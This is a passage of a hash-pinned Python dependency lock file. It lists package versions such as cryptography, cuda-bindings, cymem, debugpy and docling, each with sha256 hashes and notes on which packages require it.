--hash=sha256:6879ded16a27f3eeca19b900c147e81616e7054db451471a611b2755ee5249f7 \ + --hash=sha256:68be5e1de60ff13c9095bbec0e5a7fa45b33b101752215b91345ea1f61c4a278 \ + --hash=sha256:69484d1aca26e322e1c3ce03f09341e84524ababad2d7202161738d83cc9f82e \ + --hash=sha256:69bb2400abef928e365ea7d4d9925169ada78ed2295546780002d4b65de3df88 \ + --hash=sha256:6befeab5fb2b51c958ca4ac6c5d141a1e8240f4f76e46350f1911963deda49cd \ + --hash=sha256:6e0a8a5083b096487d6cfced94cdd514d8f5db6f113610fb36c0620edb1028cf \ + --hash=sha256:770e9325ab5ea6d56f77e59b29ecfe0ac20b57a82a601876f90494a4dda0386f \ + --hash=sha256:7a2b580774a4786c1053157c0165e04476e03ff293993d7c148eee784a94bae6 \ + --hash=sha256:7bbd7d6418e0dab31a206af5203bd43ae36edb8e7fba1940b055d3e9249290d7 \ + --hash=sha256:7c922735321eef3f87c280a3d39afff6b646723a2880b862cda4ac7a093b8aa8 \ + --hash=sha256:7d1abebdb047729e852b9c77a00497dfbeb11eb3a117e037d7dbc3ac8e5f5c54 \ + --hash=sha256:7f2f62ae3cd189dd2e13aece758c57b3eecbd27be070dbd4cbd10936049e5dbf \ + --hash=sha256:81294c7e6ab30c5f74c0353b11b2fd6320e72d9bee6ac73b357caa8b916323a5 \ + --hash=sha256:81661f82d302484e3119e7c80c519c02fa9bcc2a6b339baf67d67bc89c580f04 \ + --hash=sha256:83cf06cdd687677742caff1a9134833b7a8b75f111519d2cb0e0ba1b9a851e15 \ + --hash=sha256:899b9da30f3c6c336566e3707495bb23e8302d39d862f01fa78c48b99b9437e2 \ + --hash=sha256:8af623e5cd92080acddd02b38f2f406a2c3a0893c38950b211890361448fbf26 \ + --hash=sha256:8b4f1c3a69ca580f3fbd6b2046915f536d7f586874f25c1bb23add2a3c88d50f \ + --hash=sha256:8bc16bb47b7679670eceff71d78bfb7d6e5b143f6c2cd117487ec7c75e0d4b78 \ + --hash=sha256:8df457da2249d3c75ca2e5e835d59c725abfe92d27fdff6cd99eed85b51d5e9a \ + --hash=sha256:8ee3838dcb656602c3b51e16aed9bfb0822f8d8d6d1c5966d32ec8c104be8e20 \ + --hash=sha256:8fa4de68e2a752468ff14b4e15db7def689a71be759e826a31ccecbef69c5fd0 \ + --hash=sha256:93a3a0b662abcc10c73a47cbc72cd60f63618d6989fb2d1286e50eacd974f303 \ + --hash=sha256:964730a1e9de9c0cf11be6a1a3c79ce419c34882842abd256086ba4698705e84 \ + --hash=sha256:96e257121228ec5cd2bb919276e94ac11074471bc37d68dbae0e8308cce15fff \ + --hash=sha256:986be58c3ab54aae8d3496a6225eea74f760fdbe739b38bd442c7e8d133aa53b \ + --hash=sha256:9e71e7bc71c686a123347ae47a0de33a175e797a85bb57b791492adf4eec8ed8 \ + --hash=sha256:a0865421cfdc53654b342d515e5a233187590882d20b95752150e53f65460017 \ + --hash=sha256:a093fd37229918976f602aa07aa59e0973cde82186f220c8e197f721f5be0ce4 \ + --hash=sha256:a58a94fed5da6997d258e8f7668c1e195fbd04a691d781b7558f1e468f9e68bc \ + --hash=sha256:a67a9f78b2942d87ba8ce3059c642164d2aedd65337377fb52fe9803656bc5c7 \ + --hash=sha256:a9447978a92f405d301123cfd39ff49895490efb769a758fe2734c7f631bf8ce \ + --hash=sha256:a9464451c4efffe8d47ace5a540b10b0dc10e879066290f8600872b7f54a419d \ + --hash=sha256:ac41cc14bebda0dbfb0628036b7f75706935c95bcc07fefe9a0f93614aa60a57 \ + --hash=sha256:af6c538498ce66c10d3fd541c2a8d5b03da5850355add34e6cba564210cb9e72 \ + --hash=sha256:b10075e5421d04265766a6d1dac809bbeb8a946fbb23c8f82c227409b2190719 \ + --hash=sha256:b24e078eabcd6a9caa8b0713f9bc1eeb310bcc960a29d45a3b4fcd4b16d5b11d \ + --hash=sha256:bbac5abad70df71019988f83f26ac7092ff2642975def4429e98dc7585ef3490 \ + --hash=sha256:be619439dbcd31a2eab10b32de9fff62c26ed4bab69dc32b8363fdaaa0882809 \ + --hash=sha256:c2de40895718f91951b86712b4c5b694acaf9a0a49be13874896f599a1eed3f4 \ + --hash=sha256:c38efe30fd74e5c19e9433f11fb1f5dc9c6522770971b7c6145bbaa413dc8800 \ + --hash=sha256:c6103639613fe6c1e989082948419bc77a2d26b6c825c99d7fad25f7d3d87afc \ + --hash=sha256:c65a9e0dfc6143491879da4e13b5e30f8be192055de508d737fb14601edbd22c \ + --hash=sha256:c705b28feb2775dc82a25f1d473a370bc37ff93f5177f4e29ce2425f560f6921 \ + --hash=sha256:c7dbc748ac8a1e3e59a2b28bea47675e6e778081dbbf081bde0d75def2fcbe1d \ + --hash=sha256:cb476b2e828ecb71cb6b6a928d23fd20a7ddb501188022dae1c37499149cc338 \ + --hash=sha256:cbde877ef9dd7baf272b9bfef2b8a25edd45d9170fc326951dd20eb480335e85 \ + --hash=sha256:cfe20cc8cf8821d4fe54f89106cbf06aa27f37b5bbe3535568065a81539b4150 \ + --hash=sha256:d003b7a5708ddad5c206c79607a6b92abb6fc13c57d99d8a4468cc03a2941ced \ + --hash=sha256:d0be6daac4cce6b8c8dc65886bae1b082ddbca4da8e5cbb5e15166acf253e264 \ + --hash=sha256:d12b33a3a50a1676b7784dc8d00a0c6d66a9f2add4b85a041c19b6a7e53ef23c \ + --hash=sha256:d15715e8c46552827e5e4f30a35575a2dbcad14454cf3284c54483946bd16931 \ + --hash=sha256:d28a4a899354d0ea6214cc59b4fa19eefbce1b9ff1688ab579acf49e894bd3fb \ + --hash=sha256:d3af93dddb5659276c63bc16ac6466ac2033a70ca816097bbc06345b8ccdf571 \ + --hash=sha256:d4fedd1f7f428f9fe83b1ead5e7cc87a43427be31aadafbac3ac0636dc7abb22 \ + --hash=sha256:d802e1947603162ded419bff83ac7489820355d2b856dfb09206574e3a37ac0c \ + --hash=sha256:d80f974b20782d9612c8b4c9beeca867074c7cf4079d1419843fa25a26428b25 \ + --hash=sha256:d9df165544774574ee004b953023d1bebada1894a80b1052a43d798b0f676e67 \ + --hash=sha256:de602f34123c2f4af1c1869c6dbbbd60da6d5983bf01937367295d135cccbfce \ + --hash=sha256:def597967dafc2e8d97c9097ea453c464e0bb8ed38f193a43070f10dc623bb6d \ + --hash=sha256:e101dbb4b9b72f0cddd8cdc8c9c5b47f456766f5e0ac82dbfb75e5c55409b78a \ + --hash=sha256:e4193a04b518f7968f3099755f5509ee7cccc6dc2b92a6b14841934d22e222c9 \ + --hash=sha256:e98dcc55d572b38e69d117da7e8e8efb8500f1f5eaf81ecd460a63220790b839 \ + --hash=sha256:ea82116c9893fa89e929b7f197ee5a1950a76e91cc5c85ba503fc02379d04890 \ + --hash=sha256:ebd5a6d8466ff30836572f3ba2cae8a5e8f85029b1c6d5e2ed338dc472a5166a \ + --hash=sha256:f0204ed122758782970526057093f448051a39db9d810d4e344bb87a3546f425 \ + --hash=sha256:f21b56dcace11dfe013014201f577dcd592b2a9b72182d930361b47cf6f73f25 \ + --hash=sha256:f41c17c4668a655ce96d090d8d5ffdc24ef64b5a02f9753884d08483e8a4a41a \ + --hash=sha256:f9de0a24a4079b53e523b5c5e2c5945ec251ab486652659955187cf255a259bc \ + --hash=sha256:fb55d0e70bb15f2e81477613627286581414693d74ac7963c93a790dd453ca9d \ + --hash=sha256:ff97a14362eef486483ed44042ca2027ea257df6ff768e62358ee0c9776925ac \ + --hash=sha256:ffb3c2aacea411cc7e1d27712490c11108e2de1d39019ae32915493a59a8b9ed \ + --hash=sha256:ffb58d7eff5b7f6ecc6fa21d6288ab7f968a212cb67d682c269c09b9eba3b66f + # via pytest-cov +cryptography==50.0.0 \ + --hash=sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813f3f07e3d03 \ + --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ + --hash=sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437 \ + --hash=sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f46589e912988e551987 \ + --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ + --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ + --hash=sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f90691269 \ + --hash=sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f385f1e2772db105 \ + --hash=sha256:19736989797678c6af1e55cd49055cdbcb55d8f6b5583ac5335f933aba9101dc \ + --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ + --hash=sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a5b17425f65f28b \ + --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ + --hash=sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0b9ee87041209fc9c \ + --hash=sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2dde98999fc41 \ + --hash=sha256:5e34edd123674534acd70147f0ca331eaa2c74e6325fb2028c886aa26ba0b68c \ + --hash=sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d \ + --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ + --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ + --hash=sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa143ecec8e0b708 \ + --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ + --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ + --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ + --hash=sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18b22dd8fb7440a \ + --hash=sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c5514dd2c6d5a78f \ + --hash=sha256:8eb5e1172eb569ea8a872796576e6a67c276351728b6455d5beb01242b027c6a \ + --hash=sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd91221636949fe4eb0aa8a \ + --hash=sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e \ + --hash=sha256:910e1d2668e7de9648f2bcee30e180db2a6b15c30f887d7c4c93ddf96e3992e3 \ + --hash=sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c4400322726feaaadfc6d \ + --hash=sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d9707e307f77b40d6b3 \ + --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ + --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ + --hash=sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d30 \ + --hash=sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1dff9a516b5f5bb9 \ + --hash=sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9 \ + --hash=sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05967dafa07 \ + --hash=sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96ba \ + --hash=sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9c1e93cfca7aa857d3 \ + --hash=sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915e9fc106bb0c82f \ + --hash=sha256:df2a58a472f332225671c35b0a830208b86d004f82baa8530fa3782c85646533 \ + --hash=sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd88033ea8dd0dc5 \ + --hash=sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185668c6e6ebf5a0ac11 \ + --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 \ + --hash=sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf6112267e0d3b565a2e9c9f \ + --hash=sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d380266bbda5823349169 \ + --hash=sha256:fd9192b7b70c573d7f214eb1ae35e00d359f6f5e4b27c7e21e30de1fc6204645 + # via + # authlib + # azure-storage-blob + # google-auth + # joserfc +cuda-bindings==13.3.1 \ + --hash=sha256:04436a9364059c84b8f9636f359eccda1cf814341f5b670c71d80d2f79dbc708 \ + --hash=sha256:120fcc53d57903df529c3486962c56528cba5b7d6c57c99537320ed9922c8b86 \ + --hash=sha256:18c8c167c8907b8f02531ca810534315c458dabef31f7965095619bf647b9202 \ + --hash=sha256:1ab2f74ed65bfef4163ba07a8db16f1085e0729291db12a2423aff84ee8278b8 \ + --hash=sha256:2732904099e0a4d4db774a5fc6d91ee95fae065b4d2ecabb4968c5fe2406c9d7 \ + --hash=sha256:36febb7c1079d68a981dbbd8d5a67235b399802b82075c9388624719607e52b9 \ + --hash=sha256:507b0e19e7f934c5e30f30f0244ad70a75812619a7d3a0d742543caae1bd50f1 \ + --hash=sha256:61120b5e4f4a63f67efd7e7396914cb9ef871bb1f0021e990fb70277be240a4d \ + --hash=sha256:8de12ef60bf40756852cb62bbb40460609269f6ece522903d1cc93d73a3ececb \ + --hash=sha256:9851b0caa8bfd3bc6fa054eaf57bea7c8e9c3a62db2d2621224677f49f3c53d0 \ + --hash=sha256:9efb21c1ee64981e184b9e0ba5eb3179e5ba3d4b51665a6cb52b8ef3d01a7cbf \ + --hash=sha256:b134dd8c5c66ae4c4ad814f7aee88fd215353c077010cbc47e3b55ed35ec9eff \ + --hash=sha256:c0c4b1a995098c46695c24257a342dc97d6e6d3f3050b944c9f43bd26d734051 \ + --hash=sha256:c3c772dfff49681541d59630c90f858e173ac926b9c593a2b7123f2a1043cc76 \ + --hash=sha256:c5879712accf6e14bb01aa5e67440eb84998b8d104b509cc7a6dc0b8f656a474 \ + --hash=sha256:c7855c4868aabc0cfae28abbe83d56734bdfbd08f08fc234ac1912a12858bf49 \ + --hash=sha256:e32d08f71ebcdf00f0f41eab2eb37e8da94c8ed411cc9f7f7a019ce6b34abe3a \ + --hash=sha256:efd4c814d311ec08c981f6dded1dbe7d4b371067ee4f6c14cccec4bde9590f80 + # via torch +cuda-pathfinder==1.6.0 \ + --hash=sha256:1503af579d8379c24bdd65528379bc57039b0455be9f5f9686cf8e473a1fce51 + # via cuda-bindings +cuda-toolkit==13.0.3.0 \ + --hash=sha256:d693caaa261214ddd7dbb60d68e71cbed884e68c2be7509778f3051da0b91c3f + # via torch +cycler==0.12.1 \ + --hash=sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30 \ + --hash=sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c + # via matplotlib +cymem==2.0.13 \ + --hash=sha256:03cb7bdb55718d5eb6ef0340b1d2430ba1386db30d33e9134d01ba9d6d34d705 \ + --hash=sha256:042e8611ef862c34a97b13241f5d0da86d58aca3cecc45c533496678e75c5a1f \ + --hash=sha256:0d78a27c88b26c89bd1ece247d1d5939dba05a1dae6305aad8fd8056b17ddb51 \ + --hash=sha256:0dca715e708e545fd1d97693542378a00394b20a37779c1ae2c8bdbb43acef79 \ + --hash=sha256:1366c7437a209230f4b797fae10227a8206d4021d37c9f9c0d31fd97ea4feb35 \ + --hash=sha256:1710390e7fb2510a8091a1991024d8ae838fd06b02cdfdcd35f006192e3c6b0e \ + --hash=sha256:1775d3fd34cf099929b79c3e48469283642463f977af6801231f3c0e5d9c9369 \ + --hash=sha256:18ad5b116a82fa3674bc8838bd3792891b428971e2123ae8c0fd3ca472157c5e \ + --hash=sha256:1c91a92ae8c7104275ac26bd4d29b08ccd3e7faff5893d3858cb6fadf1bc1588 \ + --hash=sha256:2fae4a29a36267772010a05ca85220e53f4fb3e1083d4f686342d8a3cc7620db \ + --hash=sha256:2ff1c41fd59b789579fdace78aa587c5fc091991fa59458c382b116fc36e30dc \ + --hash=sha256:30c4e75a3a1d809e89106b0b21803eb78e839881aa1f5b9bd27b454bc73afde3 \ + --hash=sha256:38aefeb269597c1a0c2ddf1567dd8605489b661fa0369c6406c1acd433b4c7ba \ + --hash=sha256:45dcaba0f48bef9cc3d8b0b92058640244a95a9f12542210b51318da97c2cf28 \ + --hash=sha256:52b76216c59e0078cebd988754426c41ee60e7c972f4c5185ac32fbd53b6d035 \ + --hash=sha256:666ce6146bc61b9318aa70d91ce33f126b6344a25cf0b925621baed0c161e9cc \ + --hash=sha256:673183466b0ff2e060d97ec5116711d44200b8f7be524323e080d215ee2d44a5 \ + --hash=sha256:68489bf0035c4c280614067ab6a82815b01dc9fcd486742a5306fe9f68deb7ef \ + --hash=sha256:6bbd701338df7bf408648191dff52472a9b334f71bcd31a21a41d83821050f67 \ + --hash=sha256:6d36710760f817194dacb09d9fc45cb6a5062ed75e85f0ef7ad7aeeb13d80cc3 \ + --hash=sha256:717270dcfd8c8096b479c42708b151002ff98e434a7b6f1f916387a6c791e2ad \ + --hash=sha256:742fc19764467a49ed22e56a4d2134c262d73a6c635409584ae3bf9afa092c33 \ + --hash=sha256:7700b116524b087e0169f10f267539223b48240ef2734c3a727a9e6b4db9a671 \ + --hash=sha256:7a8d404a48af953084fcec4239487ab05e14b829da251628827d51c87880aeb8 \ + --hash=sha256:7e1a863a7f144ffb345397813701509cfc74fc9ed360a4d92799805b4b865dd1 \ + --hash=sha256:8431347901026e9b554daeb982f5f1ecf3780ce46435c7a8e0cb82490e58f13c \ + --hash=sha256:84c1168c563d9d1e04546cb65e3e54fde2bf814f7c7faf11fc06436598e386d1 \ + --hash=sha256:84e2976e38cd663f758e40b5497fa5cd183d7c5fb0d04ce81a4b42a1ba124ff0 \ + --hash=sha256:891fd9030293a8b652dc7fb9fdc79a910a6c76fc679cd775e6741b819ffea476 \ + --hash=sha256:89c4889bd16513ce1644ccfe1e7c473ba7ca150f0621e66feac3a571bde09e7e \ + --hash=sha256:8efc4f308169237aade0e82877a65a563833dec32eb7ab2326120253e0e9e918 \ + --hash=sha256:90c2d0c04bcda12cd5cebe9be93ce3af6742ad8da96e1b1907e3f8e00291def1 \ + --hash=sha256:92a2ce50afa5625fb5ce7c9302cee61e23a57ccac52cd0410b4858e572f8614b \ + --hash=sha256:9d441d0e45798ec1fd330373bf7ffa6b795f229275f64016b6a193e6e2a51522 \ + --hash=sha256:a84ba3178d9128b9ffb52ce81ebab456e9fe959125b51109f5b73ebdfc6b60d6 \ + --hash=sha256:a868c1e3fe4f6f51232883b7bee7319a35e36644604577f4c6032cf957b9056b \ + --hash=sha256:a9150be2896fbe0096911bc9138a54e6fcc3814f197bc0c3d64d7c005a5e579d \ + --hash=sha256:ac699c8ec72a3a9de8109bd78821ab22f60b14cf2abccd970b5ff310e14158ed \ + --hash=sha256:bc116a70cc3a5dc3d1684db5268eff9399a0be8603980005e5b889564f1ea42f \ + --hash=sha256:bee2791b3f6fc034ce41268851462bf662ff87e8947e35fb6dd0115b4644a61f \ + --hash=sha256:c0046a619ecc845ccb4528b37b63426a0cbcb4f14d7940add3391f59f13701e6 \ + --hash=sha256:c16cb80efc017b054f78998c6b4b013cef509c7b3d802707ce1f85a1d68361bf \ + --hash=sha256:c3ff57aec4f264451739b18b7eab9d161d51af42b570ca0392fc051dcca28cb1 \ + --hash=sha256:c8dbfddfe5c604974e17c6f373cedd4d25cd67f84812ede7dea12128fa0c2015 \ + --hash=sha256:c8f30971cadd5dcf73bcfbbc5849b1f1e1f40db8cd846c4aa7d3b5e035c7b583 \ + --hash=sha256:c90a6ecba994a15b17a3f45d7ec74d34081df2f73bd1b090e2adc0317e4e01b6 \ + --hash=sha256:c9251d889348fe79a75e9b3e4d1b5fa651fca8a64500820685d73a3acc21b6a8 \ + --hash=sha256:ce821e6ba59148ed17c4567113b8683a6a0be9c9ac86f14e969919121efb61a5 \ + --hash=sha256:d1c950eebb9f0f15e3ef3591313482a5a611d16fc12d545e2018cd607f40f472 \ + --hash=sha256:d2a4bf67db76c7b6afc33de44fb1c318207c3224a30da02c70901936b5aafdf1 \ + --hash=sha256:d670329ee8dbbbf241b7c08069fe3f1d3a1a3e2d69c7d05ea008a7010d826298 \ + --hash=sha256:d8d06ea59006b1251ad5794bcc00121e148434826090ead0073c7b7fedebe431 \ + --hash=sha256:e02d3e2c3bfeb21185d5a4a70790d9df40629a87d8d7617dc22b4e864f665fa3 \ + --hash=sha256:e03bb575a96c59bc210d7d59862747f0012696b0dac3427ce8af33c7afb3d4a2 \ + --hash=sha256:e8afbc5162a0fe14b6463e1c4e45248a1b2fe2cbcecc8a5b9e511117080da0eb \ + --hash=sha256:e9027764dc5f1999fb4b4cabee1d0322c59e330c0a6485b436a68275f614277f \ + --hash=sha256:e96848faaafccc0abd631f1c5fb194eac0caee4f5a8777fdbb3e349d3a21741c \ + --hash=sha256:ec99efa03cf8ec11c8906aa4d4cc0c47df393bc9095c9dd64b89b9b43e220b04 \ + --hash=sha256:ed9de1b9b042f76fe5c312e4359eab58bf52ac7dfdf6887368a760410d809440 \ + --hash=sha256:f190a92fe46197ee64d32560eb121c2809bb843341733227f51538ce77b3410d \ + --hash=sha256:f3aee3adf16272bca81c5826eed55ba3c938add6d8c9e273f01c6b829ecfde22 \ + --hash=sha256:fb8291691ba7ff4e6e000224cc97a744a8d9588418535c9454fd8436911df612 \ + --hash=sha256:fe5424b38f61709b046df2ba7a6d7b54272ee1e2a2c56772d9cd309e4c1ea5ef \ + --hash=sha256:fece5229fd5ecdcd7a0738affb8c59890e13073ae5626544e13825f26c019d3c \ + --hash=sha256:ff036bbc1464993552fd1251b0a83fe102af334b301e3896d7aa05a4999ad042 + # via + # preshed + # spacy + # thinc +d3blocks==1.8.1 \ + --hash=sha256:2c4834bc8496547b1a7144ac3e6f89281d5450bd286ccb05fa635f036f1f9ead \ + --hash=sha256:510d2a443f6c9bf47e75739357a69d0eb9be2436f2f68e3801dd9d85a801cadb + # via semantica (pyproject.toml) +d3graph==3.0.1 \ + --hash=sha256:345254d65e50d0de3a1a099c6bc99139a9fba59179b8c6b2212b80af6b8d2775 \ + --hash=sha256:91598fa901c6a1b01b634ae4974b2a220731441f669b6d66a2ca066c1fe05ee6 + # via d3blocks +datazets==1.1.4 \ + --hash=sha256:8c11d3a8d2ee2d49ef6d1f1512bdd33f7c7c592aa48267fe6e44ed7726e16b72 \ + --hash=sha256:ecf8701f893a12d55fc0d2ff2100744c79a96fd28dc1f5f4a3981ae3776ca5bd + # via + # d3blocks + # d3graph +debugpy==1.8.21 \ + --hash=sha256:0042da0ecd0a8b50dc4a54395ecd870d258d73fa18776f50c91fdcabdcad2675 \ + --hash=sha256:0fddfdc130ac6d8bfc0415b0409822fa901c8f310e5c945ac5653a0352532344 \ + --hash=sha256:13678151fc401e2d68c9880b91e28714f797d40422994572b24560ef80910a88 \ + --hash=sha256:15d4963bd5ffa48f0da0947fd06757fa7621945048a14ad7705431566d3c0e7c \ + --hash=sha256:2c2ae706dec41d99a9ca1f7ebc987a83e65578363be6f6b3ac9067504917fae1 \ + --hash=sha256:3d6922439bf33fd38a3e2c447869ebc7b97da5cd3d329ff1ef9bc06c4903437e \ + --hash=sha256:4743373c1cac7f9e74a1b9915bf1dbe0e900eca657ffb170ae07ac8363205ae9 \ + --hash=sha256:4e70cc8b5079f885cb43910924ee0aab73b8b6b2a14eff23afdd9895d86e79eb \ + --hash=sha256:4e7c2d784d78ad4b71a5f8cd7b59c167719ec8a7a0211dbb3eb1bfeda78bc4e2 \ + --hash=sha256:72b5d676c4cbfac3bac5bb01c138a4656e843f93f03ce2a5f4e394ad49fbee73 \ + --hash=sha256:84c564d8cc701d41843b29a92814c1f1bef6798724ca9d675c284ad9f6a547d7 \ + --hash=sha256:8eeab7b5462f683452c57c0126aaa5ec4e974ddb705f39ba87dff8818c8e08f9 \ + --hash=sha256:9bb2a685287a2ac9b181cde89edcec64845cb51de7faaa75badb9a698bc24782 \ + --hash=sha256:9f5171176a0084b95d2ebe55a4d1f7b2a75b74c5dbec577ebd3a85c740551c36 \ + --hash=sha256:9f96713896f39c3dff0ee841f47320c3f2983d33c341e009361bb0ebc79adc4e \ + --hash=sha256:a3c53278e84c94e11bd87c53970ec391d1a67396c8b22609fcac576520e611a6 \ + --hash=sha256:a7fe47fd23da57b9e0bec3f4a8ee65a2dc55782455ed7f2141d75ab5d2eaeef5 \ + --hash=sha256:aa648733047443eb1d07682c4ef287d36a54507b643ffdf38b09a3ef002c72a0 \ + --hash=sha256:aa9d941d6dfe3d0407e4b3ca0b9ec466030e260fbf1174094f68785680f66db6 \ + --hash=sha256:b1e37d333663c8851516a47364ef473da127f9caebe4417e6df6f5825a7e9a92 \ + --hash=sha256:bd7ba9dd3daa7c2f942c6ca8d4695a16bf9ac16b63615261c7982bc74f7ed20c \ + --hash=sha256:c193d474f0a211191f2b4449d2d06157c689013035bd952f3b617e0ef422b176 \ + --hash=sha256:da456226c7b4c69e35dbe35dcee6623d912000a77816db7856a41af1c72a0264 \ + --hash=sha256:e935f9dc0501be523c8a8e1853c39432e1354e9ece717ae5998fd2371c4542c3 \ + --hash=sha256:ecbd158386c31ffe71d46f72d44d56e66331ab9b16cad649156d514368f23ab2 \ + --hash=sha256:f15c10084f9861b5e8414a48f18f8e4aadf51a98a59e72c16aa28281ca994672 \ + --hash=sha256:f68b891688e61bdc08b8d364d919ff0051e0b94657b39dcd027bc3173edb7cdc \ + --hash=sha256:f843a8b08c2edeaf9b1582eed4f25441af21a297c22ff16bf76a662557aa9c9e \ + --hash=sha256:fe0744a12353406de0ae8ccff0d0a4a666f00801a3db8fd04e7a5f761cd520e8 \ + --hash=sha256:ffd932c6796afadab6993ec96745918a8cb2444dbd392074f769db5ea40ab440 + # via ipykernel +decorator==5.3.1 \ + --hash=sha256:4cbcdd55a6efadb9dbea26b858f4fb3264567b52d69ca0d25b721b553f60ea82 \ + --hash=sha256:f47fe6fdbd2edd623ecfe36875d37aba411624e2670dd395dddae1358689bb3c + # via librosa +defusedxml==0.7.1 \ + --hash=sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69 \ + --hash=sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61 + # via + # semantica (pyproject.toml) + # docling-core + # docling-slim + # nbconvert +deprecation==2.1.0 \ + --hash=sha256:72b3bde64e5d778694b0cf68178aed03d15e15477116add3fb773e581f9518ff \ + --hash=sha256:a10811591210e1fb0e768a8c25517cabeabcba6f0bf96564f8ff45189f90b14a + # via weaviate-client +dill==0.4.1 \ + --hash=sha256:1e1ce33e978ae97fcfcff5638477032b801c46c7c65cf717f95fbc2248f79a9d \ + --hash=sha256:423092df4182177d4d8ba8290c8a5b640c66ab35ec7da59ccfa00f6fa3eea5fa + # via multiprocess +distfit==2.0.2 \ + --hash=sha256:26123275de1da9df8d967a9c9e7224fa1212fb29ccfabe2a6b67ade9195ede0d \ + --hash=sha256:2a180ead9d03f17616bd205032a0953af32c480be5b137170fd6b6efff25f892 + # via d3graph +distlib==0.4.3 \ + --hash=sha256:4b0ce306c966eb73bc3a7b6abad017c556dadd92c44701562cd528ac7fde4d5b \ + --hash=sha256:f152097224a0ae24be5a0f6bae1b9359af82133bce63f98a95f86cae1aede9ed + # via virtualenv +distro==1.9.0 \ + --hash=sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed \ + --hash=sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2 + # via + # anthropic + # google-genai + # groq + # openai +doclang==0.7.3 \ + --hash=sha256:9440c4ca9f7e061a7b8d33bdf15b1029be69a4c13cd8952dd6ce541884e4c685 \ + --hash=sha256:ca50615357e46ebf9597bb9065b9112367103ec24bd539f8ae12649224cf50b0 + # via docling-core +docling==2.119.0 \ + --hash=sha256:04b9aef29b9b94fc6e56fcd440824337d132a84074c7ba20b9cf055f220e72fb \ + --hash=sha256:3ff6f1dbe9f53ac034aca03c39fae374b381dc1eda4ad85d27a458fc13fbc917 + # via semantica (pyproject.toml) +docling-core==2.91.0 \ + --hash=sha256:4949a5dd77ae1daf4153c095897d3bdde1c870f2bbe401bf94d8834bef867998 \ + --hash=sha256:dc40fe76524a2700f869265015a9ef86027888e73b5652f324b3b5c52a2df240 + # via + # docling-ibm-models + # docling-parse + # docling-slim +docling-ibm-models==3.14.0 \ + --hash=sha256:795d39cd0f7b1e14a702e681b0ef0f9bd31deaedddb4e2686ad577296ecb8fc9 \ + --hash=sha256:def964e3d524f66c7321ef9d48d4021278f14319f01d3f78058cd2324f641e22 + # via docling-slim +docling-parse==7.12.1 \ + --hash=sha256:0fcc7234daf1db53e1c3d8063083d850620c3e44d2975be1c01fe0bbcd86b3d1 \ + --hash=sha256:187cb186bed683e6cc7f00ffc010f2bf4f541cb87964194a8bf101b558b8455e \ + --hash=sha256:24b29a5ca40071b3d5ea7494c22a5552f4d9d29bf93bdfc1925986d922feff5f \ + --hash=sha256:25c8759b19292ad8cf31e1b133980c30f0fd8800b510c02c56a3af5dbb989232 \ + --hash=sha256:32e4c806e63f5e6dcf63643d3472b241e7786653bad82321c95b937b69942a5e \ + --hash=sha256:33fc4afd8b46a2c760a8ca4558b4d744d6c9d207318581f3234fec3df91ca85f \ + 